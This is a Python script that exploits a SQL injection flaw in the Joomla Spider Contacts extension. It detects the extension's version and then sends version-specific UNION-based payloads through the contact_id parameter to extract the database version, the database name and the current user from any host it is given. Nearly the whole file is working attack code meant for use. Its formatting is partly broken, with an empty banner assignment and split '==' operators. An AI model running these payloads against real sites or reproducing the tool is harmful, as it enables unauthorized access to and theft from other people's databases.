import codecs
import httplib
import re
import sys
import socket
import optparse
banner =
C0mm4nds = dict ()
C0mm4nds[ 'DB VERS' ] = 'VERSION'
C0mm4nds[ 'DB NAME' ] = 'DATABASE'
C0mm4nds[ 'DB USER' ] = 'CURRENT_USER'
def def_payload(payl):
payl = payl
return payl
def com_com_spidercalendar():
com_spidercalendar = "index.php?option=com_spidercontacts&contact_id=" + payload + "&view=showcontact&lang=ca"
return com_spidercalendar
ver_spidercontacts = "administrator/components/com_spidercontacts/spidercontacts.xml"
vuln = 0
def cmdMySQL(cmd):
SqlInjList = [
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28' + cmd + '%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23' ,
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28' + cmd + '%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23' ,
'1%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28' + cmd + '%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23' ,
'1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28' + cmd + '%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23' ,
'-9900%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28' + cmd + '%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23' ,
]
return SqlInjList
def checkProtocol(pr):
parsedHost = ""
PORT = m_oOptions.port
if pr[ 0 : 8 ] = = "https://" :
parsedHost = pr[ 8 :]
if parsedHost.endswith( "/" ):
parsedHost = parsedHost.replace( "/" ,"")
if PORT = = 0 :
PORT = 443
PROTO = httplib.HTTPSConnection(parsedHost, PORT)
elif pr[ 0 : 7 ] = = "http://" :
parsedHost = pr[ 7 :]
if parsedHost.endswith( "/" ):
parsedHost = parsedHost.replace( "/" ,"")
if PORT = = 0 :
PORT = 80
PROTO = httplib.HTTPConnection(parsedHost, PORT)
else :
parsedHost = pr
if parsedHost.endswith( "/" ):
parsedHost = parsedHost.replace( "/" ,"")
if PORT = = 0 :
PORT = 80
PROTO = httplib.HTTPConnection(parsedHost, PORT)
return PROTO, parsedHost
def connection(addr, url_string):
parsedHost = checkProtocol(addr)[ 1 ]
PROTO = checkProtocol(addr)[ 0 ]
try :
socket.gethostbyname(parsedHost)
except socket.gaierror:
print 'Hostname could not be resolved. Exiting'
sys.exit()
connection_req = checkProtocol(addr)[ 0 ]
try :
connection_req.request( 'GET' , url_string)
except socket.error:
print ( 'Connection Error' )
sys.exit( 1 )
response = connection_req.getresponse()
reader = codecs.getreader( "utf-8" )(response)
return { 'response' :response, 'reader' :reader}
if __name__ = = '__main__' :
m_oOpts = optparse.OptionParser( "%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]" )
m_oOpts.add_option( '--host' , '-H' , action = 'store' , type = 'string' ,
help = 'The address of the host running Spider Contacts extension(required)' )
m_oOpts.add_option( '--base' , '-b' , action = 'store' , type = 'string' , default = "/" ,
help = 'base dir joomla installation, default "/")' )
m_oOpts.add_option( '--port' , '-p' , action = 'store' , type = 'int' , default = 0 ,
help = 'The port on which the daemon is running (default 80)' )
m_oOptions, remainder = m_oOpts.parse_args()
m_nHost = m_oOptions.host
m_nPort = m_oOptions.port
m_nBase = m_oOptions.base
if not m_nHost:
print (banner)
print m_oOpts.format_help()
sys.exit( 1 )
print (banner)
if m_nBase ! = "/" :
if m_nBase[ 0 ] = = "/" :
m_nBase = m_nBase[ 1 :]
if m_nBase[ - 1 ] = = "/" :
m_nBase = m_nBase[: - 1 ]
else :
if m_nBase[ - 1 ] = = "/" :
m_nBase = m_nBase[: - 1 ]
m_nBase = '/' + m_nBase + '/'
payload = def_payload( '1%27' )
com_spidercalendar = com_com_spidercalendar()
response = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 0 ]
reader = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 1 ]
getcode = response.status
print ( "[+] Searching for Joomla Spider Contacts vulnerability..." )
print ( "[+]" )
if getcode ! = 404 :
for lines in reader:
if not lines.find( "spidercontacts_contacts.id" ) = = - 1 :
print ( "[!] Boolean SQL injection vulnerability FOUND!" )
print ( "[+]" )
print ( "[+] Detection version in progress...." )
print ( "[+]" )
try :
response = connection(m_nHost, m_nBase + ver_spidercontacts).values()[ 0 ]
reader = connection(m_nHost, m_nBase + ver_spidercontacts).values()[ 1 ]
getcode = response.status
if getcode ! = 404 :
for line_version in reader:
if not line_version.find( "<version>" ) = = - 1 :
VER = re. compile ( '>(.*?)<' ).search(line_version).group( 1 )
VER_REP = VER.replace( "." ,"")
if int (VER_REP) > 136 or int (VER_REP[ 0 ]) = = 2 :
print ( "[X] VERSION: " + VER)
print ( "[X] Joomla Spider Contacts => 1.3.7 are not vulnerables" )
sys.exit( 1 )
elif int (VER_REP) = = 136 :
print ( "[+] EXTENSION VERSION: " + VER)
print ( "[+]" )
for cmddesc, cmdsqli in C0mm4nds.items():
try :
paysql = cmdMySQL(cmdsqli)[ 0 ]
payload = def_payload(paysql)
com_spidercalendar = com_com_spidercalendar()
response = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 0 ]
reader = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 1 ]
getcode = response.status
if getcode ! = 404 :
for line_response in reader:
if not line_response.find( "h0m3l4b1t" ) = = - 1 :
MYSQL_VER = re. compile ( 'h0m3l4b1t(.*?)t1b4l3m0h' ).search(line_response).group( 1 )
if vuln = = 0 :
print ( "[!] " + m_nHost + " VULNERABLE!!!" )
print ( "[+]" )
print ( "[!] " + cmddesc + " : " + MYSQL_VER)
vuln = 1
break
except socket.error:
print ( '[X] Connection was lost please retry' )
sys.exit( 1 )
elif int (VER_REP) = = 135 or int (VER_REP) = = 134 :
print ( "[+] EXTENSION VERSION: " + VER)
print ( "[+]" )
for cmddesc, cmdsqli in C0mm4nds.items():
try :
paysql = cmdMySQL(cmdsqli)[ 1 ]
payload = def_payload(paysql)
com_spidercalendar = com_com_spidercalendar()
response = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 0 ]
reader = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 1 ]
getcode = response.status
if getcode ! = 404 :
for line_response in reader:
if not line_response.find( "h0m3l4b1t" ) = = - 1 :
MYSQL_VER = re. compile ( 'h0m3l4b1t(.*?)t1b4l3m0h' ).search(line_response).group( 1 )
if vuln = = 0 :
print ( "[!] " + m_nHost + " VULNERABLE!!!" )
print ( "[+]" )
print ( "[!] " + cmddesc + " : " + MYSQL_VER)
vuln = 1
break
except socket.error:
print ( '[X] Connection was lost please retry' )
sys.exit( 1 )
elif int (VER_REP) = = 133 :
print ( "[+] EXTENSION VERSION: " + VER)
print ( "[+]" )
for cmddesc, cmdsqli in C0mm4nds.items():
try :
paysql = cmdMySQL(cmdsqli)[ 2 ]
payload = def_payload(paysql)
com_spidercalendar = com_com_spidercalendar()
response = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 0 ]
reader = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 1 ]
getcode = response.status
if getcode ! = 404 :
for line_response in reader:
if not line_response.find( "h0m3l4b1t" ) = = - 1 :
MYSQL_VER = re. compile ( 'h0m3l4b1t(.*?)t1b4l3m0h' ).search(line_response).group( 1 )
if vuln = = 0 :
print ( "[!] " + m_nHost + " VULNERABLE!!!" )
print ( "[+]" )
print ( "[!] " + cmddesc + " : " + MYSQL_VER)
vuln = 1
break
except socket.error:
print ( '[X] Connection was lost please retry' )
sys.exit( 1 )
elif int (VER_REP) = = 13 :
print ( "[+] EXTENSION VERSION: " + VER)
print ( "[+]" )
for cmddesc, cmdsqli in C0mm4nds.items():
try :
paysql = cmdMySQL(cmdsqli)[ 3 ]
payload = def_payload(paysql)
com_spidercalendar = com_com_spidercalendar()
response = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 0 ]
reader = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 1 ]
getcode = response.status
if getcode ! = 404 :
for line_response in reader:
if not line_response.find( "h0m3l4b1t" ) = = - 1 :
MYSQL_VER = re. compile ( 'h0m3l4b1t(.*?)t1b4l3m0h' ).search(line_response).group( 1 )
if vuln = = 0 :
print ( "[!] " + m_nHost + " VULNERABLE!!!" )
print ( "[+]" )
print ( "[!] " + cmddesc + " : " + MYSQL_VER)
vuln = 1
break
except socket.error:
print ( '[X] Connection was lost please retry' )
sys.exit( 1 )
elif int (VER_REP[: 2 ]) = = 10 or int (VER_REP[: 2 ]) = = 11 or int (VER_REP[: 2 ]) = = 12 :
print ( "[+] EXTENSION VERSION: " + VER)
print ( "[+]" )
for cmddesc, cmdsqli in C0mm4nds.items():
try :
paysql = cmdMySQL(cmdsqli)[ 4 ]
payload = def_payload(paysql)
com_spidercalendar = com_com_spidercalendar()
response = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 0 ]
reader = connection(m_nHost, m_nBase + com_spidercalendar).values()[ 1 ]
getcode = response.status
if getcode ! = 404 :
for line_response in reader:
if not line_response.find( "h0m3l4b1t" ) = = - 1 :
MYSQL_VER = re. compile ( 'h0m3l4b1t(.*?)t1b4l3m0h' ).search(line_response).group( 1 )
if vuln = = 0 :
print ( "[!] " + m_nHost + " VULNERABLE!!!" )
print ( "[+]" )
print ( "[!] " + cmddesc + " : " + MYSQL_VER)
vuln = 1
break
except socket.error:
print ( '[X] Connection was lost please retry' )
sys.exit( 1 )
else :
print ( "[-] EXTENSION VERSION: Unknown :(" )
sys.exit( 0 )
if int (vuln) = = 0 :
print ( "[X] Spider Contacts patched or SQLi blocked by Web Application Firewall" )
sys.exit( 1 )
else :
sys.exit( 0 )
except socket.error:
print ( '[X] Connection was lost please retry' )
sys.exit( 1 )
print ( "[X] Spider Contacts patched or SQLi blocked by Web Application Firewall" )
sys.exit( 1 )
else :
print ( '[X] URL "' + m_nHost + m_nBase + com_spidercalendar + '" NOT FOUND' )
|